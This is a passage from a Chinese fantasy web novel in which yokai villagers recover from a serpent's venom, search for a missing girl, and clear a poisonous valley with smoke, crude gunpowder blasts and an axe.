他猛地一顿,脑海里突然闪过巨蟒那对尖锐带孔的毒牙。
他猜,这大概就是君梦拼命救他的原因……
巨大的自责与后怕瞬间淹没了他,脚步不由加快几分。
殷全等人目瞪口呆,从眼前这场恶战中清醒过来。
他们看着顾桃抱起晕厥的君梦跑得踉踉跄跄,个个脸色恰白。
“……全、全哥?”
直到阿山开口,殷全才赶紧撑起身子,招呼还能动弹的队友们,两两搀扶着跟了上去,阿山则留下来照看来不及搬运的伤员。
所幸药效极佳,他们离那片毒雾也有些距离,还算安全。
……
谷外天空大亮,微风轻拂,虫鸣鸟叫好不热闹。
小队的队员息憩在一小片林子里,或靠或躺或坐着,各自处理着伤口,给吞下药丸后逐渐苏醒的队员喂着清水,一片忙碌……
不远处一棵大树下,土褐色的衣物垫出一方干燥区域。
衣上斑斑点点沾着不少血印,上头躺着个白净的少女。
顾桃跪坐在少女跟前,微微颤抖着双手,捏着用清水打湿的里衣布条,轻手轻脚拭去她脸颊和手臂上花里胡哨的泥印,检查有没有其他伤口。
他轻声呼唤:“梦儿……”
君梦后脑有一道不大不小的裂口,已经临时清洗过并包扎止了血,只是白耳朵上擦不净的一抹红仍然触目惊心。
顾桃和长斧的重量将她压在碎石堆上,冲击力让她嗑破了脑袋。
那巨型角蛇的超强剧毒抑制了妖精的修复能力,随着头部的撞击她便陷入了昏迷。
虽说仔细检查过后,顾桃知晓她此时的大约情况,但止不住的心疼还是让他责怪自己没能保护好她。
君梦的小手包裹在一只大手掌中,热腾腾,汗津津。
她在睡梦中感觉极不舒适,好像一团火快要将她烤干了,不禁皱了皱眉,嘴唇轻启,嚅嗫着什么……
顾桃见状,弯曲手心垫了片干净的叶子,做成碗状,拿起水壶倒了点清水进去,就着手心将小巧叶碗贴到君梦嘴边,让水滴顺着边缘缓缓流入她微张的唇瓣。
“唔……”
君梦总算有了反应,睫毛微动中缓缓睁开了眼睛。
顾桃勉强牵起一抹笑,凑近了些瞧她。
那双原本清亮的眸子此刻蒙着一层水汽,聚焦了好久才看清眼前人。
看着他心慌意乱的模样,她想说什么,却只能发出轻微气音。想抬起手碰一碰他低下头时显露在额头的小伤口,手腕却软得抬不太起来。
“别乱动。”顾桃按住她的双臂,轻声安抚。
待她放弃挣扎后,他转头将水壶的水倒出大半,将浸湿的布条稍微一拧,然后搭在她冒出细汗的额头上。
君梦只觉一股清凉侵入体内,舒爽了许多。她重新合上眼帘,轻轻吐出一口浊气。
8. 急救
顾桃用手背探了探她脸颊的温度,取下额上湿布条,帮她擦拭其余发烫的部位。
“舒服些了吗?”
“嗯……”
君梦小声回应。
这副有气无力的可怜样,不禁让人特别怀念她称王称霸满山蹦跶。
“那巨蟒毒性猛烈,闻见便沾,可能会影响到恢复能力。你先忍忍,等回去我配些解毒药剂,服用了就会好的。”
顾桃继续同她讲着话,希望她能多清醒些时刻,可她皱着眉的模样实在困顿,只得作罢。
手指抚上她温度偏高的小脸,低声道:“睡吧,我带你回去。”
顾桃轻柔裹着外套抱起她来,往怀中搂了搂。见她脸上没出现什么不适的表情,这才站立起来,走向一旁的队员们。
顾桃挨个查看了他们的伤势,所幸十二人都还活着。
其中一个被大蛇角戳断了两根肋骨,又被咬了一口,毒液注入许多,一直昏睡不醒。
还有四名腿脚被咬,吃下药丸后虽清醒了过来,但腿部肿胀发黑不能动弹。
只有三人完好无损,剩下几名多多少少都挂了彩。
大家满脸疲惫,浑身疼痛哀嚎。
眼看天色尚早,于是顾桃最终决定:自己先带着君梦回村,另外找人过来帮忙搬抬伤员。
殷全一边给昏迷那位降着体温,一边答应着让顾桃放心去吧,他会和阿山照顾好大家。
……
顾桃抱着君梦冲进村子时,白色的里衣已经湿透了。
一路上疯狂奔走,又控制着浑身的抖动,实在很是耗力。
尤是如此,君梦还是被颠簸得唇色发青,冷汗直冒,可她在昏睡中却仍咬着牙一声不吭。
“快!带上工具去谷外!殷全他们还照看着伤员!”
顾桃急切的声音在村里响起。
几个扛着柴刀弓箭的老猎手闻声扔下手中物,一边吆喝大伙,一边抄起墙角的麻绳和木板就往谷口的方向跑,惊起一群归巢的麻雀。
……
二楼的房里灯火忽暗忽明。
君梦静静地躺在床上,头上的伤口已经重新上药包扎,身上也换了干净的衣物。
贺奶奶满面愁容守在一旁,枯瘦有力的手指抚摸着君梦滚烫的脸颊。
好几个时辰了,贺远和村民们还没带着伤员回来。
眼看天色已经黑透,也不知道他们这一趟是否顺利,可千万别再出什么岔子了……
铁匠铺隔壁是一间简陋的药堂,里头传出一阵翻箱倒柜的声响。
顾桃在这矮小的药房里弓着背低着头,点着烛火仔细查看贴了泛黄标签的陶罐,时不时抓起皱巴巴的干叶或各种细小颗粒……
门外石阶上蹲着一个花白发的老人。
“吧嗒吧嗒……”
老人抽了好几口老烟,心疼着自己宝贝儿似的药材。
倒不是怕他用得多,只是草药间混乱了实在不好收拾。不过转头一想:这英勇的少年帮了村里很大的忙,自己辛苦一下也没什么。
“老爷子,地锦草在哪里,我找不到。”
屋内的顾桃语速极快,手上一刻不停核对药材。
本来开始是老人自己抓药,可他对顾桃报的药名每每均是疑惑,思考片刻又恍然大悟,手上动作极是缓慢。顾桃心中着急,便干脆礼貌地将老人“请”出他的屋子,自己动起手来。
老人听得询问,“噌”地支棱起来。
他匆匆进了屋,余光一扫,竟发现各种瓦罐柜子抽屉完好如初,并无杂乱之相,不由对少年刮目相看。
艰难地挤过少年身处的过道,又忍不住心中腹腓:再来一个这样的壮汉,我这屋顶怕是也不保了……
老人默默吁了一口,当下便在角落翻找出一捆干地锦,替给少年。
“这……这许多的药草倒是能熬出一大锅了。”
老人趁少年整理草药的空当,估算了一下这堆剂量,心道:洗个澡也够了……
再次抽了一大口老烟,呛得顾桃连连咳嗽。
“嗯……咳~这次同行的伙伴中不少都中了蛇毒,现下都熬上,且等他们回来,也就都能喝上了。”
“那巨蟒毒性太过刚猛,它的胆汁需得配上其他药效,中和了它的毒性方成一味特殊解毒剂。”
老人听罢一愣,自己倒是小看了他。
此少年郎不止懂药理,心胸竟也宽阔。
原本以为他只是想多为妹妹准备药汤备用,没想到连其他受伤的村民也在考虑之中。
老人思及此处,顿时对自己的小气量有些羞愧,对少年又多了几分敬佩。
两人搬了几尊炉子到屋外,各自负责将手里的药剂煎好,将药热在炉子上。
待药汤煎好,老人优先端了一碗给殷老三送过去,盼着这解毒剂能救一救他。
顾桃端起冒着热气的药汤一饮而尽,烫得舌头发麻。
算算时辰,村民们也该带着小队伍回来了。
他再端起另一只小碗,慢慢挪上了铁匠铺二楼。
屋内烛光昏沉,君梦脸上仍泛着一丝不正常的潮红,呼吸时急时缓。
贺奶奶取下君梦额头上又变得滚烫的帕子,起身让位,示意顾桃将药汤放在床头。
顾桃点了点头,轻轻坐到床边,接过贺奶奶重新递过来的冰凉湿帕。
先是用手背探了探她的体温,再将湿帕子覆盖而上。
奶奶低声打了个招呼,便退出了房间。
顾桃绷着脸,手上动作却很是轻缓,用小勺蘸了点汤水,温润着她干裂的嘴唇。
待她主动嚅动双唇,这才舀起小半勺药汤吹了吹,直到温度适宜,试探着送到她嘴边。
药汁有些苦涩,君梦下意识蹙了眉头,牙关紧抿着再不肯张开。
顾桃见状,用两指轻轻捏住她的鼻子,迫使她张嘴呼吸。
他俯下身来如梦呓般低低呢喃:“乖~喝了药才会好起来……”
接着又慢慢喂下半勺药汤。
好不容易哄着她咽下一口,立刻用帕子拭去她嘴角溢出的药渍。
就这样一勺又一勺,直到整碗药汤见了底。
将空碗放到桌上,伸手替她掖了掖被角,指腹又忍不住轻触她的小脸。
看着妮子白净的脸上留下两枚浅浅泥印,他才回过神,奔忙了一天,浑身脏兮兮的。
执起帕子替她擦干净,再三确认她又熟睡了过去,便轻手轻脚下楼。
在小院里打了井水,提到偏房一顿冲洗。换了干净的衣裳,才再次来到君梦房间。
再次探量了她的体温,感受到指尖下的温度正在慢慢下降,顾桃总算松了一口气。
“殷叔!殷叔……”
窗外突然传来一阵嘈杂声,像是有无数人在奔跑、呼喊,还有担架与地面摩擦的吱呀声。
顾桃看了一眼睡梦中的小妮,起身来到窗边,掀开一条缝隙向外望。
村口方向,老老少少的一群村民抬着七八副临时做的担架,急匆匆往村里赶,每个人的脸上都带着惊慌与疲惫。
担架上躺着的人几乎浑身是血,有的抱着伤腿痛苦呻吟。
“殷叔,快来看看我儿子!他流了好多血……”
妇人带着哭腔的声音颤抖着。
原本寂静的夜晚变得喧嚣起来。
顾桃握紧了拳头,目光在屋里的少女和屋外混乱
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的人群来回游移,一时间不知该如何是好。
“快!快把人抬到祠堂!解毒剂都已经送过去了!”
药师老人背着药箱,在混乱的人群中大喊,声音被拉扯得嘶哑。
“都别急!把重伤员放到祠堂偏房,轻伤的放正厅,不管轻重,熬好的药汤都喝上一碗!”
有人指挥带领,村民们便有了主心骨,立刻行动起来,七手八脚的又抬起担架,扶起轻伤员,一并往祠堂去了。
顾桃站在窗边,看着人们渐渐有了秩序,心里稍稍安定了些。
他回头看看床上,轻轻叹了口气,决定先守在这里,等天亮再说。
天刚蒙蒙亮,村里就炸开了锅。
“不好了!阿兰不见了!……”
急促的呼喊一路从哨塔传入祠堂。
是值岗的殷宏,他端着热腾腾的肉汤敲响小屋门,半响不见动静,推开门却发现屋里空荡荡的。
起初还以为她去祠堂帮忙照顾伤者了,可寻了一圈后始终不见人影,殷宏心头一慌,估摸着出了事。
几个正在熬粥的妇人议论着伤员的情况,听到呼喊都愣住了,还带着疲倦的脸上,瞬间布满了惊慌。
“什么?!阿兰不见了?”
“不可能呀,这孩子从来不出村子,怎么会不见呢?”
被惊动的殷老族长赶来祠堂,脸色很是难看。
“不好!她一定是去了蛇谷!”
“!!……”
阿兰是只猫妖,原本家住北方阙化滩。
十二年前,年幼的她跟随父母亲进山学习捕猎。不曾想遇到严重的山体滑波,母亲为了护她不幸葬身泥流。
悲痛的父亲带着她往高处走,最终被迫进入了落霞岭,那里是血狼和赤虎的地盘。
这两个异族对峙多年,最后干脆握手言和,自此称兄道弟,狼虎为奸,残害路人,共同致富,欲携手奔向美好未来……
不出意外下就出了意外,阿兰父亲不慎被一群血狼妖抓住,并当场咬断了他的脖颈。
他临死前还用口形对她说了两个字:“快跑……”
赤虎则“桀桀”地笑着像是在逗弄玩具般,追赶她,又驱逐她,反复玩弄。
在她又惊又怕最终筋疲力尽之际,不慎脚下一滑跌落山崖,留下赤虎懊恼锤地:夭寿啊~到嘴的美食玩脱了!
阿兰醒来后已经身处狼牙口的药堂,是老药师殷叔在巨林谷采药时救了她。
老人家体力有限,一边用参和了妖力的药丸吊着她的性命,一边背着她前进。
原本一天一夜的路程,背着她整整花了三天三夜才回到村里,急得一众村民都以为他遭了难。
殷老族长派了人到处寻找,唯独没想到他一把年纪,还去了那么远的巨林谷,这大概就是一种缘分。
在狼牙口还算淳朴的风气下,阿兰逐渐走出阴影,也融入了大家的生活。
她把殷叔当作父亲,单身了一辈子的老药师开心得合不拢嘴。
几年后,阿兰愈发亭亭玉立,时常与灰狐殷成海形影不离。
老药师和殷父看在眼里,两家一盘算,便定了这门亲事。
紧接着蛇谷的事件发生,带给村里一片阴霾。
失去亲人的人家悲痛难忍,两家便不好再提成亲的事。
这一耽搁又是两年,直到第二次复仇讨伐,殷成海自告奋勇加入队伍,便一去不复返。
伤心欲绝的阿兰不想整日惹得老父亲担心,便找了个理由搬到哨岗小屋,帮着村里做各种粗重累活,尽量让自己忙碌起来。
老药师心中怎会不懂,但也只能默认了她的选择,盼着这苦命的孩子能早日恢复精气神。
9. 新的慌乱
如今,谷中巨蟒已然清除,顾桃带着大家伙也算安全返回。
阿兰便再也压抑不住心中思念,意图进谷寻找未婚夫的遗骸,或是,遗物。
只是她不知,那山谷本就常年不见阳光,现在巨蟒虽死,却毒血四溅,早已形成一片剧毒的瘴气。
祠堂内议论纷纷,惹得殷老族长烦闷不已。
“这可怎么办,蛇谷还很危险,她一个姑娘家,去了不就是送死吗!”
有人急得直跺脚。
“莫非是她想起未婚夫死在了里头,自己也不想活了,干脆去陪伴他不成?”
这话一出,所有人的心都揪紧了。
“快!快去找人!”
殷老族长额头青筋直冒,持起拐杖猛戳地面,发出一串“邦邦”声。
“把祠堂里还能动弹的都叫上,带上厚实的布块作面罩,赶快去找她!”
一时间,刚平静下来的村子又陷入了新的慌乱之中。
……
君梦飘浮在一片混沌中,周围的浑浊突然开始流动,紧接着被一股巨大的吸力拖进深渊。
“啊!”
她猛地睁开双眼惊坐而起,喘着粗气惊魂不定。
缓息片刻,终于确认自己是在熟悉的房间里。柔软的床铺,温暖的被子,薄薄的里衣微微湿润。
“噔噔噔……”
三四步便跃上楼梯的脚步声来到房前,她还没来及转头就听到房门开启,熟悉的身影带着好闻气味来到床前。
顾桃欣喜不已,“梦儿……你可算醒了!”
他单膝跪在床边握住她的双肩,不及细看一眼,便将她拥入怀中。
“唔……桃哥,我快喘不上气了。”
君梦嗔怒的语气从怀里冒出来,两只小手却紧紧抓着顾桃腰间的衣物。这满满的安全感,憋一会气也是可以的。
满脸喜色的顾桃微窘:“……对不住对不住。”
放开君梦后,入眼就是她身上被汗打湿微微发透的里衣紧贴着皮肤。顾桃反应过来顿时耳根子通红,拿了床头的红色薄袄裙披在她身上。
嗯,脸色看着正常许多,嘴唇也红润起来,手背探额,体温也正常了。解了蛇毒,头上的伤口不多时也会开始愈合,这下可以彻底放下心来。
君梦仰起头问道:“外面怎么了,又出什么事了吗?”
“……”
顾桃犹豫了一下,还是把阿兰不见的事情讲了一遍。
“族长已经带人追过去了,我和贺叔也准备去帮忙。”
“你别担心,就在这里好好养伤。大家一定会将她平安带回来。”
君梦知晓自己身体,倒是乖乖听话,只是不放心道:“嗯,蛇毒弥漫必然会产生瘴气,你要小心。”
“我会的,放心。”
顾桃笑着扶她躺下,替她掖好被子。
“等下奶奶就过来陪你。”
……
顾桃紧赶慢赶,不多时便追上了队伍。
众人见他到来,都露出了欣喜的神色。
大家进入山谷刚转过角,前方便是白茫茫的一片,浓得化不开。
走近些看,却见那雾气般的东西并非寻常水汽,而是带着一种粘稠的质感,在空气中缓缓流动。更令人不适的是它散发的气味,混杂着腐烂、霉味、腥气,各种味道混合成一种说不清道不明的甜腻气息。
有个年轻村民不知深浅,出于好奇吸了两口,顿时脸色发白,捂着嘴剧烈的咳嗽起来,眼里泛起了血丝。
殷老族长赶紧喊道:“别深呼吸!”马上命人给他灌下准备好的除瘴水。
接着从怀里掏出一方面巾,吩咐大家:“把药水倒在面巾上,捂住口鼻。”
这时,身后沙沙作响,引得众人一惊,一把将面巾塞进怀里,纷纷抽出武器,紧张兮兮的气氛让大伙连寒毛都竖起了。
顾桃大步一跨,挡在了最前面。
山谷入口处转进来一个瘦弱女子,吃力地往前倾着身子,拖动身后比她还高的大捆干草。
殷宏定睛一看,激动喊道:“阿兰!”
“呀!真是阿兰!”
众人卸下防御,又惊又喜。
殷老族长挺直背脊,努力眯起昏花的老狐眼。
待他看清女子后面上一喜,随即拉下脸来,微怒责怪道:“你这姑娘!怎地不跟大家伙说一声,一个人跑到这种地方,不知我们要担心死了吗?!”
阿兰闻声手一松,“……你们!…我……”
勒手的草绳从她肩头滑落,眼圈立刻泛了红,犹豫一下缓步来到老族长身边,忽然跪倒在地“哇”地一声哭了出来。
殷老族长不忍再责备,摸摸她的头,声音轻柔了些:“哎,傻孩子,苦了你了……”说罢,伸手将她扶起,继续劝慰:“不怕啊……凡事都有我们在呢。”
大家见找到了阿兰,便开始收拾家伙什,准备回程。
顾桃翻看了阿兰拖来的那堆东西。是干艾草,用细藤编织的绳子捆了一圈又一圈,压得严严实实。
沉思片刻,他问道:“这艾草,可是用来驱散瘴气的?”
阿兰抹了一把眼眶,还轻微地抽泣着:“嗯,我到了才发现这么浓的瘴气,想起殷叔教的‘艾草加硫磺粉,燃之烟熏可驱’……”
“这样啊……我看倒不如把这瘴气破了,省得将来再藏污纳垢。”
顾桃看了一眼白雾,眼光凌厉。
“……”
殷老族长不语,皱着狐脸从背后摸出烟杆,吧唧抽了一口,思考着可行性。
众人也面面相觑,只有阿兰满眼期待地望着顾桃。
“我赞成。”
贺远走到顾桃的身边,冲他点了点头。
接着面对村民们说道:“巨蛇是除了,可这瘴气也不安全。”
“我们附近的村落几乎都是小妖,也没有那么多灵药神器供我们使用通行。要想去城里换生活所需,这路,便是必经之路。”
“对啊……”
“是这个理。”
殷老族长吐出一串烟圈,被烟雾迷了眼,他使劲眨了眨,抬起松垮的眼皮。
“话是没错,咱们现在艾草有,硫磺粉嘛……大家靠打猎为生,几乎都是随身携带。可这么一大片瘴气,今天驱了明天又聚,如你所说,我们确实没有神器,该怎么清除?”
顾桃神秘一笑:“我们是没有神器,可我们有人!”
他将目光
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对准了人群中一个不起眼的小身影,一只小蝙蝠妖。
他微笑着指向深处的谷顶:“瘴气出现前我来过两次,与蛇群缠斗时,便观察过地形。”
众人顺着他的手指方向看去。
这高耸的山谷顶部纵横交错着五六条巨大横岩,遮天避日。原来谷中不进阳光,这便是罪魁祸首。
“那……我们应该怎么做呢?”
“别急。”
顾桃走到小蝙蝠妖身边,将他上下打量,眼里的笑意让小妖头皮发麻。
他看向还不到他胸口的小妖,神情温和问道:“能飞吗?”说着话还拍了拍他背上收拢的深褐色翅膀,毛乎乎的手感挺不错。
“……啊?”小妖涨红了脸:“能、能的!”
想他从小被殷叔捡回来,又无法适应药堂的浓重气味,于是东家蹭口饭西家蹭碗水的生活在村里。大家对他不排斥,可也不显亲热,加上他喜欢待在暗处,存在感便稍微有点低。
别问老药师殷叔为什么喜欢捡活物,都是缘分呐。
顾桃笑着点点头:“嗯,好的!”
接着他矮下身子,又转向殷老族长低声问道:“老族长,村里还有多少火药?”
“???”
殷老族长猝不及防呛了一口烟,心说这家伙怎知我有火药的!
火药这种东西,私下里可是不允许制造,虽说如今的大陆已然平静,但小争小斗仍是不断。再有人制造大规模的杀伤性武器,被抓住会直接丢到斗兽场喂巨兽的。
顾桃见老族长犹豫,笑眯眯地解释道:“之前我看有些石壁层次新旧不一,地上碎石也很凌乱,有几处还有烧灼过的黑色痕迹……我猜,你们对付蛇群,应是用了火药。”
“呃……”殷老族长心虚地清了清嗓子。
偷瞄这小子一眼,但见他目光定定,老族长只能彻底放弃抵抗。
蒜鸟蒜鸟,他还不都是为了他们的村子着想……
老族长压低了声音答道:“几年前倒是制造过一些……但是配方嘛,它不太对!造出的东西都不成气候,威力太小,不然也不会让这畜生伤了我村里这么多人。”
说罢,殷老族长伸出左手,展开枯树枝似的狐狸爪子,掌中凭空现出一只扑素的小布袋。
他把烟杆子往后腰一插,伸出另一只爪子打开小布袋,招了招手让顾桃往里看。
顾桃凑近看了看袋子内的东西,又比划比划上空的岩梁。
“唔……倒是不多,看起来质量也一般,但炸掉两三块横岩应该不成问题……”
众人见他仰起头盯着横岩思量,也不出声打扰,各自散开找了石块坐靠着休息。
不多时顾桃心中便有了大概的规划。
他招呼小妖近前,同他细细说着什么。
小妖仔仔细细地听,时而看看横岩,时而点点头。
末了,顾桃便招呼众人,拆了艾草垛子,拌上村民们凑出来的硫磺粉,贴近瘴气边缘围了厚厚一层。
再吩咐阿兰带领闲散的村民们继续去寻干艾,数量越多越好。
大半个时辰后,所有准备工作均已做好。附近两座小山一样堆着拌好的干艾,大家都围上了用药水浸湿的面巾。
10. 蝙蝠小妖
两个村民手持火把靠近铺好的艾草墙,就等顾桃安排接下来的计划。
“点火!”
顾桃一声令下,艾草墙顿时燃起熊熊大火。
一阵比瘴气还浓重的灰黄烟雾腾腾升起,被进入山谷的微风一吹,那黄烟就像是活物一般缠缠绵绵裹着往瘴气区域飘去。
只见白茫茫的瘴气遇到浓烟,竟然像冰雪遇热一样开始消散。紧接着,里面景象逐渐显露,幽暗的深处堆积着巨大一团黑物。
众人虽不语,却也知道那是巨蛇尸骸,这般巨型!实在让人心惊。不由又对这少年郎产生了更深厚的敬佩与感激。
小妖腰上挂着老族长的小布袋,还有在贺远背篓里挑选的小号短锤和尖凿,跟随顾桃走到浓烟之下。
这里比刚才观望之地离横岩的距离缩短了许多。
瘴气已然退去,现下也就不用再怕出现意外落进毒瘴中。
在顾桃鼓励的目光中,小妖暗暗给自己打了打气。
他展开翅膀微微抖动,调整了自身的姿态。
犹豫一下后,小妖腼腆地看向顾桃,红着脸小声说了一句:“哥哥,我叫无患……”
“……嗯?”
顾桃一愣,随后反应过来就笑弯了眼,夸赞道:“真是个好名字!无患无患,必定一生无灾无难!”
说着抬起大手揉了揉无患头上的短褐发。
无患眼里瞬间明亮,坚定地仰起头望向自己的目标,距离地面最近最矮也最宽的那条横岩。
他沉下心,深呼吸后半蹲下身子,腿部肌肉猛地发力,弹射起跳,同时快速拍打展开后近六尺的翅膀。
只听“呼啦”地一声,小小的身子已然冲到高空,以极快的速度轻松到达第一块横岩。
巨大横岩上,无患收起翅膀,专注寻找爆破点。
有缝的地方就直接将适量的劣质火药放进去,牵出长长的引线。
完整的地方就“叮叮哐哐”给它凿出一条缝。
谷内的众人虽然什么也看不清,但还是不约而同望向声响的来源处。
顾桃掀起面巾,双手合拢围在嘴边,大声喊道:“无患!一定先保护好自己!”
山谷内一阵阵回音不断重复着。
“好的!我知道了……”
上方传来回响,顾桃便带领众人退到安全地带,指挥村民继续往火堆里添加燃料,再以树枝和衣物制成的简易蒲扇控制浓烟走向。
无患在横岩的四个角放了六处火药,查检完毕后就寻了处远离炸点的大凹槽蹲进去,将几条引线聚到一块儿。
他咽了口唾沫,从兜里掏出火石对准排放引线的地方,把心一横,凿子一戳。
飞溅的火星落了几颗到引线上,“滋滋滋——”就带着火星冲向四周。
背上翅膀将他一围,还来不及捂住耳朵。
只听“轰隆隆”几声响,横岩开始剧烈晃动,小碎石飞溅过来砸在翅膀上生疼生疼。
无患被震得耳鸣目眩,心头一慌。
正无措时,脑中浮现出那句“无患无患,必定一生无灾无难!”
他使劲甩了甩头,拼着一股劲稳住身子,耐心等待起飞的时机。
然而等待片刻,除了几许石块滚落的声音,周围已经平静下来了。
无患钻出灰扑扑的坑槽,弓着身子小心翼翼在横岩上观察。
岩角裂了几条硕长的细缝就没了动静,这火药实在不成气候,竟没能炸出彻底断裂的效果。
无语……
无患想了想,还是从小布袋里又摸出一捆火药,略加衡量,挑选了一处又深又宽的缝隙,将火药填进去。
第二次使用就顺手了许多,点燃引线后,他直接就往斜上方的第二条横岩飞去。
“轰——喀嚓嚓……”
高处岩石经历风吹日晒,质地偏脆。经过两次爆破,这些大裂缝再也经受不住,通通碎成大块的岩片,簌簌往下掉落,砸在地上激起一阵巨响。
谷内顿时一片骚乱。
“别慌!别乱跑!”
顾桃和殷老族长安抚着众人,大家发现落石确实不会波及到他们待的地方,才渐渐平静下来,开始对这个决策评头论足。
顾桃再次仰头,紧紧盯着上面。
直看到高处稀薄的烟雾中,一个小小的身影安然出现在另一块横岩边缘,他才呼出那口一直憋着的气。
接着事情就顺利了,无患以同样的方式,节节约约又大大方方地尽量多安置几个炸点,断断续续炸毁四块横岩。
虽然下方由于浓烟漫遍,仍是昏昏暗暗,但无患越往高处的岩块飞去,头顶的阳光越是大盛,佛光普照一般温暖着他。
还有两块横岩,可是火药已经没有了。
小小又勇敢的无患也别无他法。
他喘了一口气,揉揉因为疼痛和太紧张有些抽搐的左翅,重新围上半干的面巾,往下一跳,展开翅膀向大家的地方滑翔而去。
“好孩子!”
顾桃咧开嘴露出雪白的牙,重重将无患一搂,以男人的方式迎接着他。
“呵呵……”
无患心下高兴,也不知道说什么好,只是抬起袖子擦了擦眼睛,引得大家哄堂大笑。
“哎呀呀,臭小子都感动哭啦!”
“……才不是,是刚才下来的时候被烟迷了眼!”无患红着脸反驳道。
“哈哈,我从来不知道你小子胆子有这么大呢!”一个年轻小伙张开双臂比划着。
“无患!真是好样的!”
“哈哈哈!等回家就让你婶子给你做好吃的!”
一阵嘻笑打趣过后,无患认真地对顾桃说道:“刚才我在上面瞧得清楚,最后两块岩石至少还要除掉一块,光线和风才能彻底进入谷底。”
顾桃闻言不语,默默抬起头看过去。
剩下两块岩石呈交叉型,最上面那块像桥一般直线型连接着山谷两边,另一块则斜得老远,又长又宽。
贺远有些急眼:“那忙活半天不是白忙了?……”
他见顾桃皱着眉也不吱声,恼怒地一拳砸向身旁的石壁,留下一个深坑:“我要是能上去,两斧头就能给它砸稀碎!”
“可惜我不能飞!”
“……”
无患双眼红通通地,默默捏紧了小拳头。
他暗自掂量了一
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下贺远的块头,犹豫半响还是出声说道:“贺叔,我带你上去!”
无患说要带贺远上去,也不是一时冲动,只是不想让大家白高兴一场。
他想着,我也不小了,怎么也算个男人!短短距离带起一个成年人也不算什么!
“!!!”
贺远惊讶地看看无患又看看顾桃,似在询问:此法可行?
“我可以的!贺叔!”
无患鼓起勇气做出的决定,说出了口便更加自信,也更希望得到他们的认可。
“……哥哥?”
“……”
顾桃想了想,从须臾袋里翻找出一张洁白细网,这是山娇村的姨姨们闲来无事织成的。
听说是有一天,村里的男人们猎回来一只稀有的巨腹妖蛛,吃又吃不得,扔了又可惜。
姨姨们便脑筋一转,让男人们将它架了起来,从它尾部抽出蛛丝,活生生裹了脑袋大小的量,才依依不舍将骂骂咧咧的妖蛛放了生。
随后几个姨姨便织出一张坚韧无比的蛛丝网。
以妖力运用,可以随心所欲粘在任何物体上。
顾桃是想着如果两人在起飞途中出现意外,自己可以甩出这张丝网将他们黏到石壁上保命。
可终究没有使用过此物,他向二人说明以后还是有些犹豫的。
“就这么说定了,好侄儿,叔叔相信你!”
贺远不给他反悔的机会,二话不说就拽过背篓,翻出来最称手那把短柄开山斧。
斧刃泛着亮黄的光,一看就不是凡品。
“无患,叔的小命可就交到你手上了啊!”
贺远爽朗一笑,大力拍拍无患肩头,害他踉跄一步差点跌倒。
这看似不靠谱的决定就在眨眼间定了下来。
无患卸下腰间小锤和凿子,又归还了小布袋,掏干净衣兜物什,尽量减轻自身的重量。
可当他运起微弱妖力背起贺远时,尤其带着一柄极重的斧头,还是感到很吃力。
他咬紧了牙关坚持,尽量靠近石壁,蹲身,弹跳,起飞,看起来还算顺利。
眼看两人就要到了,由于飞行速度较快,高空的风呼呼灌进眼里,无患本就迷了的眼忍不住冒出泪水,刺疼得紧。
他双手后背抱着贺远的腿弯,又空不出手来擦拭,慢慢视野便开始模糊。当即心下一沉,却仍然顶着模糊的视线往上飞。
底下顾桃眼见不对劲,无患背着贺远飞到了横岩的下方,再往上便要撞了!
暗道一声:糟了!捏住丝网运起妖力,准备关键时刻丢出。
果不其然,贺远都来不及提醒,“哐当”一声头撞岩石底部。
他趴在无患的背上,高出了许多,倒是替孩子挡下这一遭。
可下方的人也没好到哪去,无患被这一震,只听背后“哎哟”一声惨叫,连带着自己也往下弹,两人只能在空中相互牢牢抓住对方。
底下一阵惊呼,顾桃脖颈上青筋暴起,只等二人落到合适的高度,手心都出了汗。
就在这紧要关头,空中忽然闪过一抹红影,以极快的速度掠过石壁上细小的凸起,只一瞬便靠近了下坠的两人。
11. 谷底显现
红影甩出手中长长的藤鞭,缠上石壁高处一块巨大的岩棱,另一只手紧紧抓着无患腰带。
不等众人反应过来,只听一声清脆娇叱:
“去!”
红影脚蹬石壁荡起身形,借着力又将二人高高抛起,直往更高处的横岩甩去。
无患反应也极快,使劲眨眼挤出眼中泪花,瞪着双眼大喝一声,鼓足了劲扇动双翅,带着贺远安安稳稳落到岩块上。
有惊无险!
眼看二人安全着陆,顾桃震惊之余又冒起担忧。
他收了蛛丝网,伸出手臂做出接的姿势,目光死死盯着悬吊在半空的红色身影。
君梦身着红色袄裙,领口袖口和裙摆都绣着细小白花,腰间系着素色飘带,脚踩一双白云纹小布鞋。
妮子脸上笑嘻嘻地,露出两颗小虎牙,身子挂在藤鞭上晃来荡去。
红裙飘带随着微风摆动,煞是好看。
顾桃见她在高空耍得正开心,脸色都快沉底了。
似乎是感受到脚底下愈发明显的怒火,君梦悄摸摸探头,看了一眼满脸黑线的某人,暗自做了个鬼脸。
估算了一下他的距离,使了巧劲抖落藤鞭,下坠的一瞬脚尖轻点石壁,身体就往计算好的方向坠去。
顾桃纵身一跃,像往常一般接她入怀,两人稳稳落地。
顾桃沉着脸将她放下,抬起手就想给她一个栗子,妮子吓得抱着头就躲,惹来一声轻笑。
他无奈地叹口气,换个手势捏了捏她的脸颊,又歪过头查看她脑瓜上的伤口。
已经恢复如初。
“总这么不着调!”
“略……手腕扭到了,快给我揉揉……”
“……”
贺远从惊慌中回过神来,顿觉头顶剧痛!
他龇牙咧嘴反手捂着头上大包,一屁股坐在横岩边缘,眼神不经意地往下一瞧,又默默往后挪了几寸。
无患瘫倒在旁边喘着粗气,此刻亦是手脚发麻,一阵后怕。
喘息片刻,两人相视而笑,皆立即站起身来,开始各自忙碌。
贺远取下腰间精巧索爪,爪子那头交给无患,绳端牢牢系于己身。
无患待他试探牢固程度后,抓起爪子深吸一口气,再次往最上层的横岩飞去。
他将绳索往腰上裹了一圈,再寻了处天然石缝,卡进铁爪,让爪齿死死咬住岩肉,呼喊道:“贺叔,我这边好了!”
“好嘞!”
靠近谷顶的高空,狂风呼啸,贺远稳稳站定。
他活动活动肩膀,随着一声低沉的闷哼,肌肉速度在粗布短褂下块块隆起,脸上浮现几道深蓝色妖纹。
黑雾般的缕缕妖力注入手中短柄开山斧,斧刃金光更盛。
“喝——!”
暴喝声在山谷间撞出回音,只见贺远抡圆臂膀,斧头带着破空的锐响劈向岩面。
原本的细缝在第一斧下去便裂开寸许,碎石混着粉末溅了满身。
第二斧、第三斧接连落下,每一击都精准劈在同一个位置,斧刃与岩石碰撞的脆响震得人耳膜嗡嗡。
不过片刻功夫,那道裂缝已扩张到碗口宽,横岩中段出现蛛网般的裂痕,微微震颤。
